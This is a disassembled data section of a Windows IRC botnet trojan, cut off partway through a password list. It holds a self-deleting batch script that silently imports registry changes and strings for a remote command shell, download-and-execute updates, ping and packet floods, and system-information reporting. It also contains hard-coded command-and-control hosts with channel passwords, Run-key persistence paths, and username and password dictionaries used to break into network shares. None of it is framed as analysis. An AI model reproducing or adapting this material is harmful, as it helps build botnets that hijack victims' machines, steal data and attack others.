'Echo "IgnorePushBitOnReceives"=dword:00000000>>%temp%\1.reg',0Dh,0Ah db 'Echo "DisableAddressSharing"=dword:00000000>>%temp%\1.reg',0Dh,0Ah db 'Echo "AllowUserRawAccess"=dword:00000000>>%temp%\1.reg',0Dh,0Ah db 'Echo "DisableRawSecurity"=dword:00000000>>%temp%\1.reg',0Dh,0Ah db 'Echo "DynamicBacklogGrowthDelta"=dword:00000032>>%temp%\1.reg',0Dh,0Ah db 'Echo "FastCopyReceiveThreshold"=dword:00000400>>%temp%\1.reg',0Dh,0Ah db 'Echo "LargeBufferListDepth"=dword:0000000a>>%temp%\1.reg',0Dh,0Ah db 'Echo "MaxActiveTransmitFileCount"=dword:00000002>>%temp%\1.reg',0Dh,0Ah db 'Echo "MaxFastTransmit"=dword:00000040>>%temp%\1.reg',0Dh,0Ah db 'Echo "OverheadChargeGranularity"=dword:00000001>>%temp%\1.reg',0Dh,0Ah db 'Echo "SmallBufferListDepth"=dword:00000020>>%temp%\1.reg',0Dh,0Ah db 'Echo "SmallerBufferSize"=dword:00000080>>%temp%\1.reg',0Dh,0Ah db 'Echo "TransmitWorker"=dword:00000020>>%temp%\1.reg',0Dh,0Ah db 'Echo "DNSQueryTimeouts" =hex(7):31,00,00,00,32,00,00,00,32,00,00,' db '00,34,00,00,00,38,00,00,00,30,00,00,00,00,00>>%temp%\1.reg',0Dh,0Ah db 'Echo "DefaultRegistrationTTL"=dword:00000014>>%temp%\1.reg',0Dh,0Ah db 'Echo "DisableReplaceAddressesInConflicts"=dword:00000000>>%temp%\' db '1.reg',0Dh,0Ah db 'Echo "DisableReverseAddressRegistrations"=dword:00000001>>%temp%\' db '1.reg',0Dh,0Ah db 'Echo "UpdateSecurityLevel "=dword:00000000>>%temp%\1.reg',0Dh,0Ah db 'Echo "DisjointNameSpace"=dword:00000001>>%temp%\1.reg',0Dh,0Ah db 'Echo "QueryIpMatching"=dword:00000000>>%temp%\1.reg',0Dh,0Ah db 'Echo "NoNameReleaseOnDemand"=dword:00000001>>%temp%\1.reg',0Dh,0Ah db 'Echo "EnableDeadGWDetect"=dword:00000000>>%temp%\1.reg',0Dh,0Ah db 'Echo "EnableFastRouteLookup"=dword:00000001>>%temp%\1.reg',0Dh,0Ah db 'Echo "MaxFreeTcbs"=dword:000007d0>>%temp%\1.reg',0Dh,0Ah db 'Echo "MaxHashTableSize"=dword:00000800>>%temp%\1.reg',0Dh,0Ah db 'Echo "SackOpts"=dword:00000001>>%temp%\1.reg',0Dh,0Ah db 'Echo "Tcp1323Opts"=dword:00000003>>%temp%\1.reg',0Dh,0Ah db 'Echo "TcpMaxDupAcks"=dword:00000001>>%temp%\1.reg',0Dh,0Ah db 'Echo "TcpRecvSegmentSize"=dword:00000585>>%temp%\1.reg',0Dh,0Ah db 'Echo "TcpSendSegmentSize"=dword:00000585>>%temp%\1.reg',0Dh,0Ah db 'Echo "TcpWindowSize"=dword:0007d200>>%temp%\1.reg',0Dh,0Ah db 'Echo "DefaultTTL"=dword:00000030>>%temp%\1.reg',0Dh,0Ah db 'Echo "TcpMaxHalfOpen"=dword:0000004b>>%temp%\1.reg',0Dh,0Ah db 'Echo "TcpMaxHalfOpenRetried"=dword:00000050>>%temp%\1.reg',0Dh,0Ah db 'Echo "TcpTimedWaitDelay"=dword:00000000>>%temp%\1.reg',0Dh,0Ah db 'Echo "MaxNormLookupMemory"=dword:00030d40>>%temp%\1.reg',0Dh,0Ah db 'Echo "FFPControlFlags"=dword:00000001>>%temp%\1.reg',0Dh,0Ah db 'Echo "FFPFastForwardingCacheSize"=dword:00030d40>>%temp%\1.reg',0Dh,0Ah db 'Echo "MaxForwardBufferMemory"=dword:00019df7>>%temp%\1.reg',0Dh,0Ah db 'Echo "MaxFreeTWTcbs"=dword:000007d0>>%temp%\1.reg',0Dh,0Ah db 'Echo "GlobalMaxTcpWindowSize"=dword:0007d200>>%temp%\1.reg',0Dh,0Ah db 'Echo "EnablePMTUDiscovery"=dword:00000001>>%temp%\1.reg',0Dh,0Ah db 'Echo "ForwardBufferMemory"=dword:00019df7>>%temp%\1.reg',0Dh,0Ah db 'Echo.>>%temp%\1.reg',0Dh,0Ah db 'Echo [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersio' db 'n\Internet Settings]>>%temp%\1.reg',0Dh,0Ah db 'Echo "MaxConnectionsPer1_0Server"=dword:00000050>>%temp%\1.reg',0Dh,0Ah db 'Echo "MaxConnectionsPerServer"=dword:00000050>>%temp%\1.reg',0Dh,0Ah db 'Echo.>>%temp%\1.reg',0Dh,0Ah db 'START /WAIT REGEDIT /S %temp%\1.reg',0Dh,0Ah db 'DEL %temp%\1.reg',0Dh,0Ah db 'DEL %0',0Dh,0Ah,0 align 4 unk_42B368 db 2 ; DATA XREF: sub_40A093:loc_40A152o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aNotSupportedBy db ' Not supported by this system.',0 align 4 unk_42B3AC db 2 ; DATA XREF: sub_40A093:loc_40A120o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aUnableToAlloca db ' Unable to allocation ARP cache.',0 align 10h unk_42B3F0 db 2 ; DATA XREF: sub_40A093:loc_40A0ECo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aArpCacheIsEmpt db ' ARP cache is empty.',0 align 4 unk_42B428 db 2 ; DATA XREF: sub_40A093+49o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aErrorGettingAr db ' Error getting ARP cache: <%d>.',0 align 4 unk_42B46C db 2 ; DATA XREF: sub_40A217+13Co db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 70h ; p db 69h, 6Eh, 67h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFinishedSendin db ' Finished sending pings to %s.',0 align 4 unk_42B4AC db 2 ; DATA XREF: sub_40A217+6Eo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 70h ; p db 69h, 6Eh, 67h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aErrorSendingPi db ' Error sending pings to %s.',0 align 4 dword_42B4E8 dd 28026502h, 62302E31h, 20282029h, 2E706475h, 1F641F6Dh ; DATA XREF: sub_40A3A3+1C6o dd 2029206Ch, 2BBBB02h aFinishedSend_0 db ' Finished sending packets to %s.',0 align 4 dword_42B528 dd 28026502h, 62302E31h, 20282029h, 2E706475h, 1F641F6Dh ; DATA XREF: sub_40A3A3+8Eo dd 2029206Ch, 2BBBB02h aErrorSending_1 db ' Error sending pings to %s.',0 align 4 aPrivmsgSS db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_40A621+33o dword_42B574 dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh ; DATA XREF: sub_40A6A8:loc_40A7DAo dd 2029206Ch, 2BBBB02h aCouldNotReadDa db ' Could not read data from proccess.',0Dh,0Ah,0 align 4 dword_42B5B8 dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh ; DATA XREF: sub_40A6A8+10Fo dd 2029206Ch, 2BBBB02h aProccessHasTer db ' Proccess has terminated.',0Dh,0Ah,0 align 4 dword_42B5F4 dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh ; DATA XREF: sub_40A6A8:loc_40A78Eo dd 2029206Ch, 2BBBB02h aCouldNotRead_0 db ' Could not read data from proccess',0Dh,0Ah,0 align 4 dword_42B638 dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh ; DATA XREF: sub_40A7FD+194o dd 2029206Ch, 2BBBB02h aFailedToStartI db ' Failed to start IO thread, error: <%d>.',0 align 10h dword_42B680 dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh ; DATA XREF: sub_40A7FD+14Co dd 2029206Ch, 2BBBB02h aRemoteCommandP db ' Remote Command Prompt',0 aCmd_exe db 'cmd.exe',0 ; DATA XREF: sub_40A7FD+21o aDdDhDm db '%dd %dh %dm',0 ; DATA XREF: sub_40A9B2+52o aSysinfoCpuI64u db '[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB total, %sKB free. [Disk]:' ; DATA XREF: sub_40AAD1+297o db ' %s total, %s free. [OS]: Windows %s (%d.%d, Build %d). [Sysdir]:' db ' %s. [Hostname]: %s (%s). [Current User]: %s. [Date]: %s. [Time]:' db ' %s. [Uptime]: %s.',0 align 10h aDdMmmYyyy db 'dd:MMM:yyyy',0 ; DATA XREF: sub_40AAD1+192o aCouldnTResolve db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_40AAD1:loc_40AC35o align 4 word_42B7C4 dw 3Fh ; DATA XREF: sub_40AAD1:loc_40ABD3r ; sub_40C297+1Fo align 4 dword_42B7C8 dd 28207325h, 297325h ; DATA XREF: sub_40AAD1+EBo dword_42B7D0 dd 3F3F3Fh ; DATA XREF: sub_40AAD1:loc_40AB94o ; .nsp0:loc_414341o a2003 db '2003',0 ; DATA XREF: sub_40AAD1+BAo ; .nsp0:0042C488o ... align 4 aXp db 'XP',0 ; DATA XREF: sub_40AAD1+AAo ; .nsp0:0041432Co ... align 10h a2k db '2K',0 ; DATA XREF: sub_40AAD1+98o ; .nsp0:0041431Co align 4 aMe db 'ME',0 ; DATA XREF: sub_40AAD1+7Eo ; .nsp0:00414303o align 4 a98 db '98',0 ; DATA XREF: sub_40AAD1+6Co ; .nsp0:004142F3o align 4 aNt db 'NT',0 ; DATA XREF: sub_40AAD1+5Ao ; .nsp0:004142E3o align 10h a95 db '95',0 ; DATA XREF: sub_40AAD1+46o ; .nsp0:004142D5o align 4 aNetinfoTypeSS_ db '[NETINFO]: [Type]: %s (%s). [IP Address]: %s. [Hostname]: %s.',0 ; DATA XREF: sub_40AD85+ABo align 4 off_42B834 dd offset loc_412F4C+2 ; DATA XREF: sub_40AD85:loc_40ADF9o dword_42B838 dd 4E414Ch ; DATA XREF: sub_40AD85:loc_40ADF2o dword_42B83C dd 6C616944h, 70752Dh ; DATA XREF: sub_40AD85+5Bo dword_42B844 dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h ; DATA XREF: sub_40AD85+48o unk_42B854 db 2 ; DATA XREF: sub_40AE4B:loc_40B004o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 76h ; v db 69h, 73h, 69h db 74h ; t db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToConnec db 'Failed to connect to HTTP server.',0 align 4 unk_42B898 db 2 ; DATA XREF: sub_40AE4B:loc_40AFFDo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 76h ; v db 69h, 73h, 69h db 74h ; t db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aCouldNotOpenAC db 'Could not open a connection.',0 align 4 dword_42B8D8 dd 28026502h, 62302E31h, 20282029h, 69736976h, 1F6D2E74h ; DATA XREF: sub_40AE4B+1A0o dd 206C1F64h, 0BB022029h, 202002BBh, 61766E49h, 2064696Ch dd 2E4C5255h, 0 unk_42B908 db 2 ; DATA XREF: sub_40AE4B:loc_40AFDEo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 76h ; v db 69h, 73h, 69h db 74h ; t db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToGetReq db 'Failed to get requested URL from HTTP server.',0 align 4 dword_42B958 dd 28026502h, 62302E31h, 20282029h, 69736976h, 1F6D2E74h ; DATA XREF: sub_40AE4B+18Co dd 206C1F64h, 0BB022029h, 202002BBh, 204C5255h, 69736976h dd 2E646574h, 0 dword_42B988 dd 2A2F2Ah ; DATA XREF: sub_40AE4B+3Bo dword_42B98C dd 202E6425h, 3D207325h, 732520h ; DATA XREF: sub_40B0F5+35o dword_42B998 dd 6C415B2Dh, 20736169h, 7473694Ch, 2D5Dh ; DATA XREF: sub_40B0F5+10o a_2d_2d4d_2d_2d db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_40B16D+60o align 4 dword_42B9CC dd 2C353103h, 6E653431h, 6230317Ah, 2E320320h, 3103202Eh ; DATA XREF: sub_40B20D+1Ao dd 6F6C2835h, 32037367h, 3531032Eh, 29646F6Dh, 0BB320320h dd 20353103h, 656C4320h, 64657261h, 2Eh dword_42BA04 dd 28026502h, 62302E31h, 20282029h, 2E676F6Ch, 1F641F6Dh ; DATA XREF: sub_40B27F+DCo dd 2029206Ch, 2BBBB02h, 694C2020h, 63207473h, 6C706D6Fh dd 2E657465h, 0 dword_42BA34 dd 28026502h, 62302E31h, 20282029h, 2E676F6Ch, 1F641F6Dh ; DATA XREF: sub_40B27F+3Fo dd 2029206Ch, 2BBBB02h, 65422020h, 6E6967h dword_42BA58 dd 80000002h, 42C26Ch, 80000002h, 42C29Ch, 80000001h, 42C2D4h ; DATA XREF: sub_40B3AE+7o dword_42BA70 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh ; DATA XREF: sub_40B3AE+63o ; sub_40B551+170o dd 2029206Ch, 2BBBB02h aFailedToSendTo db ' Failed to send to Remote command shell.',0 align 4 dword_42BAB8 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh ; DATA XREF: sub_40B551+ABo dd 2029206Ch, 2BBBB02h aFailedToOpenRe db ' Failed to open remote command shell.',0 align 4 dword_42BAFC dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh ; DATA XREF: sub_40B551+47o ; sub_40B712+FDo dd 2029206Ch, 2BBBB02h aFailedToOpenSo db ' Failed to open socket.',0 align 4 dword_42BB34 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh ; DATA XREF: sub_40B712+362o ; sub_40BAB4+156o dd 2029206Ch, 2BBBB02h, 6F532020h, 74656B63h, 72726520h dd 2E726Fh dword_42BB60 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh ; DATA XREF: sub_40B712+2FAo dd 2029206Ch, 2BBBB02h aTransferComple db ' Transfer complete to IP: %s, Filename: %s (%s bytes).',0 dword_42BBB4 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh ; DATA XREF: sub_40B712+202o dd 2029206Ch, 2BBBB02h aUnableToOpenSo db ' Unable to open socket.',0 align 4 dword_42BBEC dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh ; DATA XREF: sub_40B712+1CBo dd 2029206Ch, 2BBBB02h, 65532020h, 7420646Eh, 6F656D69h dd 2E7475h dword_42BC18 dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h ; DATA XREF: sub_40B712+16Ao dd 169h dword_42BC30 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh ; DATA XREF: sub_40B712+127o dd 2029206Ch, 2BBBB02h aFileDoesnTExis db ' File doesn',27h,'t exist.',0 align 4 dword_42BC64 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh ; DATA XREF: sub_40B712+82o dd 2029206Ch, 2BBBB02h aFailedToBindTo db ' Failed to bind to socket.',0 dword_42BC9C dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh ; DATA XREF: sub_40B712+44o dd 2029206Ch, 2BBBB02h aFailedToCreate db ' Failed to create socket.',0 align 4 dword_42BCD4 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh ; DATA XREF: sub_40BAB4+1CFo dd 2029206Ch, 2BBBB02h aTransferComp_0 db ' Transfer complete from IP: %s, Filename: %s (%s bytes).',0 align 4 dword_42BD2C dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh ; DATA XREF: sub_40BAB4+CBo dd 2029206Ch, 2BBBB02h aErrorOpeningSo db ' Error opening socket.',0 dword_42BD60 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh ; DATA XREF: sub_40BAB4+ABo dd 2029206Ch, 2BBBB02h aErrorOpeningFi db ' Error opening file for writing.',0 align 10h aAB db 'a+b',0 ; DATA XREF: sub_40BAB4+97o dword_42BDA4 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh ; DATA XREF: sub_40BAB4+83o dd 2029206Ch, 2BBBB02h aErrorUnableToW db ' Error unable to write file to disk.',0 align 4 unk_42BDE8 db 2 ; DATA XREF: sub_40BCEF+493o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aBadUrlOrDnsErr db ' Bad URL, or DNS Error: %s.',0 align 4 unk_42BE28 db 2 ; DATA XREF: sub_40BCEF+485o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aUpdateFailedEr db ' Update failed: Error executing file: %s.',0 unk_42BE74 db 2 ; DATA XREF: sub_40BCEF+3C9o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aDownloaded_1fk db ' Downloaded %.1fKB to %s @ %.1fKB/sec. Updating.',0 align 4 dword_42BEC8 dd 28026502h, 62302E31h, 20282029h, 6E776F64h, 64616F6Ch ; DATA XREF: sub_40BCEF+358o dd 641F6D2Eh, 29206C1Fh, 0BBBB0220h, 4F202002h, 656E6570h dd 25203A64h, 2E73h aOpen db 'open',0 ; DATA XREF: sub_40BCEF+336o ; sub_40CE55+2A37o ... align 10h unk_42BF00 db 2 ; DATA XREF: sub_40BCEF+2E1o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aDownloaded_1fK db ' Downloaded %.1f KB to %s @ %.1f KB/sec.',0 align 4 unk_42BF4C db 2 ; DATA XREF: sub_40BCEF+262o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aCrcFailedDD_ db ' CRC Failed (%d != %d).',0 align 4 unk_42BF88 db 2 ; DATA XREF: sub_40BCEF+1D8o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFilesizeIsInco db ' Filesize is incorrect: (%d != %d).',0 align 10h unk_42BFD0 db 2 ; DATA XREF: sub_40BCEF+195o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aUpdateSDkbTran db ' Update: %s (%dKB transferred).',0 align 4 unk_42C014 db 2 ; DATA XREF: sub_40BCEF+183o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFileDownloadSD db ' File download: %s (%dKB transferred).',0 align 10h unk_42C060 db 2 ; DATA XREF: sub_40BCEF+77o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aCouldnTOpenFil db ' Couldn',27h,'t open file: %s.',0 align 4 aUnknown db 'Unknown',0 ; DATA XREF: sub_40C297:loc_40C2DAo ; sub_413627+104o aInvalid db 'Invalid',0 ; DATA XREF: sub_40C297:loc_40C2D4o aDisk db 'Disk',0 ; DATA XREF: sub_40C297:loc_40C2CEo align 4 aNetwork db 'Network',0 ; DATA XREF: sub_40C297:loc_40C2C8o aCdrom db 'Cdrom',0 ; DATA XREF: sub_40C297:loc_40C2C2o align 4 aRam db 'RAM',0 ; DATA XREF: sub_40C297:loc_40C2BCo aFailed db 'failed',0 ; DATA XREF: sub_40C328:loc_40C400o ; sub_40C443+3Bo align 10h aSkb db '%sKB',0 ; DATA XREF: sub_40C328+6Bo align 4 dword_42C0D8 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40C443+8Eo dd 2029206Ch, 2BBBB02h aSDriveSSTotalS db ' %s Drive (%s): %s total, %s free, %s available.',0 align 4 dword_42C128 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40C443+58o dd 2029206Ch, 2BBBB02h aSDriveSFailedT db ' %s Drive (%s): Failed to stat, device not ready.',0 align 4 aA_0 db 'A:\',0 ; DATA XREF: sub_40C515:loc_40C55Ao dword_42C17C dd 1A0Bh ; DATA XREF: sub_40C682+3ADr ; sub_40C682+460r dword_42C180 dd 1B58h ; DATA XREF: sub_40C682+4ACr dword_42C184 dd 1AA6h ; DATA XREF: sub_40CE55:loc_412647r dword_42C188 dd 0CCEh ; DATA XREF: sub_407276+3Br ; sub_40CE55+4E69r dword_42C18C dd 158Dh ; DATA XREF: sub_407276:loc_407525r ; sub_40CE55:loc_411DB0r dword_42C190 dd 1 ; DATA XREF: sub_40C682+29r dword_42C194 dd 1 ; DATA XREF: sub_40CE55+662r dword_42C198 dd 1 ; DATA XREF: sub_409E15+Cr ; sub_40C682:loc_40C9BBr byte_42C19C db 78h ; DATA XREF: sub_40C1E1:loc_40C1EDr ; sub_40CE55+AF6r ... align 10h dword_42C1A0 dd 9 ; DATA XREF: sub_4140C8+2Br ; sub_4140C8+51r ... dword_42C1A4 dd 1 ; DATA XREF: sub_40CB75+78r ; sub_40CE55+27Cr ... aIdsppn db 'idsppn',0 ; DATA XREF: sub_40C682+67o ; sub_40CE55+3D0Fo ... align 10h aEnz9_9b db 'enz 9.9b',0 ; DATA XREF: sub_40CE55:loc_41285Fo align 4 aHi db 'hi',0 ; DATA XREF: sub_40CE55+5B8Do ; sub_40CE55+5C5Co align 10h aHome_najd_us db 'home.najd.us',0 ; DATA XREF: sub_40C682+398o ; sub_40C682+451o align 10h aDd_0 db '#dd',0 ; DATA XREF: sub_40C682+3B9o ; sub_40C682+467o aDpass db 'dpass',0 ; DATA XREF: sub_40C682+3D0o ; sub_40C682+479o align 4 byte_42C1DC db 68h ; DATA XREF: sub_40C682:loc_40CB11r ; sub_40C682+49Do aOme_paltalkdc_ db 'ome.paltalkdc.com',0 align 10h aDd_1 db '#dd',0 ; DATA XREF: sub_40C682+4B3o aDpass_0 db 'dpass',0 ; DATA XREF: sub_40C682+4C5o align 4 byte_42C1FC db 54h ; DATA XREF: sub_40283D+84o ; sub_403178+Fo ... db 69h, 6Ch, 65h dd 6E6D6F63h, 6F632E75h, 6Dh dword_42C20C dd 636C6574h, 756E6D6Fh, 6C6C642Eh, 0 ; DATA XREF: sub_40211A+3Do dword_42C21C dd 54204350h, 63656C69h, 756E6D6Fh, 0 ; DATA XREF: sub_40B3AE+Eo dword_42C22C dd 2D554Eh, 656C6954h, 6E6D6F63h, 6F632E75h, 6Dh ; DATA XREF: sub_4140C8+12o dword_42C240 dd 692B782Bh, 0 ; DATA XREF: sub_40CE55+5CD5o dword_42C248 dd 756E23h ; DATA XREF: sub_40CE55:loc_40FFA6o ; sub_40CE55+4CCFo ... dword_42C24C dd 737323h ; DATA XREF: sub_40CE55+1DBBo dword_42C250 dd 737323h ; DATA XREF: sub_40CE55+1C04o a58730 db '58730',0 ; DATA XREF: sub_40283D+9Ao align 4 aDd db 'dd',0 ; DATA XREF: sub_40283D+95o align 10h aDd_ db 'dd.',0 ; DATA XREF: sub_40283D+90o off_42C264 dd offset a@room ; DATA XREF: sub_40CE55:loc_412A3Eo ; "*@room" off_42C268 dd offset aMirc1_6_99 ; DATA XREF: sub_40CE55+8C6r ; sub_40CE55+5C05o ; "mirc 1.6.99" db 53h aOftwareMicro_0 db 'oftware\Microsoft\Windows\CurrentVersion\Run',0 align 4 db 53h aOftwareMicro_1 db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0 align 4 aSoftwareMicros db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_4146BA+28o ; sub_4149DE+28o align 4 aSystemCurrentc db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_4146BA+D4o ; sub_4149DE+D4o align 4 dd offset aAdministrato_0 ; "Administrator" dd offset aAdministrator ; "administrator" dd offset aAdministrador ; "administrador" dd offset aAdministrateur ; "administrateur" dd offset aAdministrat ; "administrat" dd offset aAdmins ; "admins" dd offset aAdmin ; "admin" dd offset aStaff ; "staff" dd offset aRoot ; "root" dd offset aComputer ; "computer" dd offset aOwner ; "owner" dd offset aStudent ; "student" dd offset aTeacher ; "teacher" dd offset aWwwadmin ; "wwwadmin" dd offset aGuest_0 ; "guest" dd offset aDefault ; "default" dd offset aDatabase ; "database" dd offset aDba ; "dba" dd offset aOracle ; "oracle" dd offset aDb2 ; "db2" dd offset aUser_0 ; "USER" dd offset aUser ; "user" dd offset aSysadmin ; "sysadmin" dd offset aGuest ; "Guest" dd offset aBackup ; "backup" dd 0 off_42C37C dd offset byte_438FDC ; DATA XREF: sub_404F08:loc_404FBDr ; sub_404F08+C2o dd offset aAdministrato_1 ; "ADMINISTRATOR" dd offset aAdministrato_0 ; "Administrator" dd offset aAdministrator ; "administrator" dd offset aFubar ; "fubar" dd offset aBla ; "bla" dd offset aGuest_1 ; "GUEST" dd offset aRoot_0 ; "ROOT" dd offset aRoot ; "root" dd offset aAdmin_0 ; "ADMIN" dd offset aPassword ; "PASSWORD" dd offset aTemp ; "TEMP" dd offset aShare_0 ; "SHARE" dd offset aWrite ; "WRITE" dd offset aFull_0 ; "FULL" dd offset aLadeda ; "ladeda" dd offset aBoth ; "BOTH" dd offset aRead ; "READ" dd offset aFiles ; "FILES" dd offset aDemo ; "DEMO" dd offset aOwner_0 ; "OWNER" dd offset aOwner_1 ; "Owner" dd offset aEdu ; "edu" dd offset aTest ; "TEST" dd offset aAccess ; "ACCESS" dd offset aUser_0 ; "USER" dd offset aBackup_0 ; "BACKUP" dd offset aSystem_0 ; "SYSTEM" dd offset aServer_1 ; "SERVER" dd offset aPepsi ; "pepsi" dd offset aLocal ; "LOCAL" dd offset aUnix ; "unix" dd offset aLinux ; "linux" dd offset aChangeme ; "changeme" dd offset aChangeme_0 ; "Changeme" dd offset aTemp123 ; "temp123" dd offset a1 ; "1" dd offset a12 ; "12" dd offset a123 ; "123" dd offset a1234 ; "1234" dd offset a12345 ; "12345" dd offset a123456 ; "123456" dd offset a1234567 ; "1234567" dd offset a12345678 ; "12345678" dd offset a123456789 